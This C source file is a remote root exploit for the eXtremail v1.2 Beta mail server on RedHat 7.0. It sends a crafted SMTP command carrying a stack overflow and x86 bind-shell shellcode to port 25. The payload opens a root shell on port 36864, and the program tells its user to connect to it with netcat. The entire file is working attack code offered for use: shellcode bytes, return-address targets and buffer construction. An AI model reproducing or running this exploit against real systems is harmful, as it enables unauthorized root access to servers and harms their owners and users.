/* eXtremail-v2.c
 *
 * eXtremail v1.2 Beta remote root exploit (x86-lnx)
 * by mu-b - June 2001
 *
 * - Tested on: Tested on: RedHat 7.0 eXtremail v1.2 Beta (tar.gz)
 * 
 * Copyright (c) 2001 by <mu-b@digit-labs.org>
 *
 * Overflow in smtp, pop3, imapd, admin.... probably in sprintf
 * to produce "500 Command not recognised: aaaaaa". Requires
 * quite a bit of work to obtain %eip but still exploitable :-)
 *
 * http://www.digit-labs.org/ -- Digit-Labs 2001!@$!
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <netdb.h>

#define NOP 	0x41
#define NUMVULN 0
#define OFFSET	0
#define PORT    25

void mkstr ();
int opensocket (char *);
void usage ();

char buf[1200];
int buflength, type = 0, sock;

unsigned char shellcode[] =
  "\xeb\x6e\x5e\x29\xc0\x89\x46\x10"
  "\x40\x89\xc3\x89\x46\x0c\x40\x89"
  "\x46\x08\x8d\x4e\x08\xb0\x66\xcd"
  "\x80\x43\xc6\x46\x10\x10\x88\x46"
  "\x08\x31\xc0\x31\xd2\x89\x46\x18"
  "\xb0\x90\x66\x89\x46\x16\x8d\x4e"
  "\x14\x89\x4e\x0c\x8d\x4e\x08\xb0"
  "\x66\xcd\x80\x89\x5e\x0c\x43\x43"
  "\xb0\x66\xcd\x80\x89\x56\x0c\x89"
  "\x56\x10\xb0\x66\x43\xcd\x80\x86"
  "\xc3\xb0\x3f\x29\xc9\xcd\x80\xb0"
  "\x3f\x41\xcd\x80\xb0\x3f\x41\xcd"
  "\x80\x88\x56\x07\x89\x76\x0c\x87"
  "\xf3\x8d\x4b\x0c\xb0\x0b\xcd\x80"
  "\xe8\x8d\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68";

struct
{
  char *name;
  unsigned long retaddr;
  int edxpad;
  int edxpad2;
  int eippad;
  int buflength;
} targets[] =
{
  {
  "RedHat 7.0 eXtremail v1.2 Beta", 0xbefff883, 1001, 1021, 1013, 1026},
  {
0}};

void
mkstr ()
{
  int i, j = 0, padints[4];
  char *tempstr;

  padints[0] = targets[type].edxpad;
  padints[1] = targets[type].edxpad2;
  padints[2] = targets[type].eippad;

  memset (buf, NOP, sizeof (buf));

  for (i = (padints[0] - strlen (shellcode) - 30); i < (padints[0] - 30); i++)
    buf[i] = shellcode[j++];

  /* %edx Generator #1..
     Generates an %edx of 0x31, ie => %edx = "`\x30+\x01==\x31`
     `\xff+\x01==\x00\x01`
     `\xfe+\x01\x01==\x00\x01`
     `\xfe+\x01\x01==\x00\x01`"
     .. %edx == 0x00000031 == 0x31
   */
  memcpy (&buf[padints[0]], "\x30\xff\xfe\xfe\x01\x01\x01\x01", 8);


  /* %edx Generator #2..
     Generates %edx as memory location somewhere on the stack
   */
  *(long *) &buf[padints[1]] = targets[type].retaddr - 1000;

  /* %eip Generator..
   */
  *(long *) &buf[padints[2]] = targets[type].retaddr;

  buf[buflength - 1] = '\n';
  buf[buflength] = '\0';
  write (sock, buf, strlen (buf));
}

int
opensocket (char *host)
{
  int s;
  struct sockaddr_in remote_sin;
  struct hostent *he;

  if ((s = socket (PF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
    {
      perror ("socket()");
      return -1;
    }

  memset ((char *) &remote_sin, 0, sizeof (remote_sin));
  if ((he = gethostbyname (host)) != NULL)
    memcpy ((char *) &remote_sin.sin_addr, he->h_addr, he->h_length);
  else if ((remote_sin.sin_addr.s_addr = inet_addr (host)) < 0)
    {
      perror ("gethostbyname()/inet_addr()");
      return -1;
    }

  remote_sin.sin_family = PF_INET;
  remote_sin.sin_port = htons (PORT);

  if (connect (s, (struct sockaddr *) &remote_sin, sizeof (remote_sin)) == -1)
    {
      perror ("connect()");
      close (s);
      return -1;
    }

  return s;
}

void
usage ()
{
  int i;

  fprintf (stderr, "usage: ./eXtremail-v2 <host> [type]\n");
  fprintf (stderr, "\nyargets:\n");

  for (i = 0; targets[i].name; i++)
    fprintf (stderr, "\t%d.\t%s\n", i, targets[i].name);

  fprintf (stderr, "\n");
  exit (0);
}

int
main (int argc, char *argv[])
{
  char *host;
  int i;

  printf ("eXtremail 1.2 Beta remote root exploit\n"
          "by: <mu-b@digit-labs.org>\n\n");

  if (argc < 2)
    usage ();

  if (argc >= 3)
    type = atoi (argv[2]);

  if (type > NUMVULN)
    type = 0;

  host = argv[1];
  buflength = targets[type].buflength;

  fprintf (stderr, "Target:\t\t%s\nType:\t\t%s\n", host, targets[type].name);
  fprintf (stderr, "Return Address:\t%p\nOffset:\t\t%d\n",
           targets[type].retaddr, OFFSET);
  fprintf (stderr, "Buflength:\t%d\n", buflength);

  if ((sock = opensocket (host)) <= 0)
    return -1;

  fprintf (stderr, "\nConnected....\n");
  sleep (1);
  mkstr ();

  sleep (1);
  close (sock);

  fprintf (stderr, "\n[1] sent payload....\n");
  fprintf (stderr, "[2] waiting....\n");
  sleep (2);
  fprintf (stderr, "[3] nc %s 36864 for shell....\n\n", host);

  return 1;
}
